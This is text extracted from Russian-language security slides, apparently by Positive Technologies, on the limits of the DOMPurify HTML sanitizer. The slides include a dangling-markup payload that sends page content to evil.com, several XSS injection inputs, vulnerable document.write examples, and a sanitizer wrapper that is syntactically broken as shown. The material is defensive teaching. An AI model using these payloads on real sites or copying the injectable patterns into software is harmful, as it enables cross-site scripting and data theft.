Что может DOMPurify192
Предотвращать атаки на структуру HTML
var dirty = '<img src="http://evil.com/log.cgi?';var clean = DOMPurify.sanitize(dirty);clean;// ""dirty = '<script src=//14.rs a="';clean = DOMPurify.sanitize(dirty);clean; // ""
Dangling markup injectionhttp://lcamtuf.coredump.cx/postxss/http://blog.innerht.ml/csp-2015/
ptsecurity.com
Особенности DOMPurify193
Изменение входной строки• Изменение порядка атрибутов
• Добавление двойных кавычек
• Добавление закрывающего тега
Если в строке отсутствует символ "<", то DOMPurify ничего не делает
/* Input modification */DOMPurify.sanitize("<svg width=1 height='2'>");// "<svg height="2" width="1"></svg>"
/* DOMPurify does nothing if an input does not contain "<" */DOMPurify.sanitize("alert(1);");// "alert(1);//"
ptsecurity.com
Что не может DOMPurify194
Предотвращать JavaScript-инъекции
http://ex.com/foo.html#a';alert(1);//
var dirty = location.hash.slice(1);var clean = DOMPurify.sanitize(dirty);document.write("<scr"+"ipt>var foo = '"+ clean +"'</scr"+"ipt>");
// dirty = "bar';alert(1);//"// clean = "bar';alert(1);//"<script> var foo = 'a';alert(1);//'</script>
ptsecurity.com
Что не может DOMPurify195
Предотвращать Attribute-based-инъекции
http://ex.com/foo.html#' onload='alert(1);
var dirty = location.hash.slice(1);var clean = DOMPurify.sanitize(dirty);document.write("<img src='pic.jpg' width='" + width + "px'/>");
// dirty = "' onload='alert(1);"// clean = "' onload='alert(1);"<img src='pic.jpg' width='' onload=alert(1);px'/>
ptsecurity.com
Что не может DOMPurify196
Предотвращать JavaScript-инъекции в контексте URL
http://ex.com/foo.html#javascript:alert(1);
var dirty = location.hash.slice(1);var clean = DOMPurify.sanitize(dirty);document.write("<a href='"+clean+"'>Link</a>");
// dirty = "javascript:alert(1)"// clean = "javascript:alert(1)"<a href='javascript:alert(1)'>Link</a>
ptsecurity.com
Что не может DOMPurify197
Предотвращать атаки Reverse Clickjacking/SOME
http://ex.com/foo.html#delete_button.click
var dirty = location.hash.slice(1);var clean = DOMPurify.sanitize(dirty);var url = '/re?q=' + clean + '&callback=' + clean + '';var s = document.createElement('script');s.src = url;document.body.appendChild(s);
// dirty = "delete_button.click"// clean = "delete_button.click"<script src='http://ex.com/re?q=urc_button.click&callback=urc_button.click');
ptsecurity.com
Адаптация DOMPurify198
function sanitize(s) {var clean = '';DOMPurify.sanitize(s);if (DOMPurify.removed.length > 0)) {
return clean;}return s;
}
ε, dompurify.removed(x) ≠ 0
x, dompurify.removed(x) = 0sanitize(x) =
Материалы
ptsecurity.com
Книги200
ptsecurity.com
Copyrights201
В презентации использованы следующие материалы:
В. Кочетков. Как разработать защищенное веб-приложение и не сойти с ума?
Д. Колегов, А. Реутов. Waf.js: как защитить веб-приложение с помощью JavaScript.
А. Петухов. Обзор ограничений современных технологий в области ИБ.
I. Markovic. HTTP Parameter Contamination.
I. Ristic. Protocol-Level Evasaion of Web Application Firewalls.
Z. Su, G. Wassermann. The Essence of Command Injection Attacks in Web Applications.
D. Kolegov, O. Broslavsky, N. Oleksov. White-Box HMAC.
Спасибо!
ptsecurity.com
top related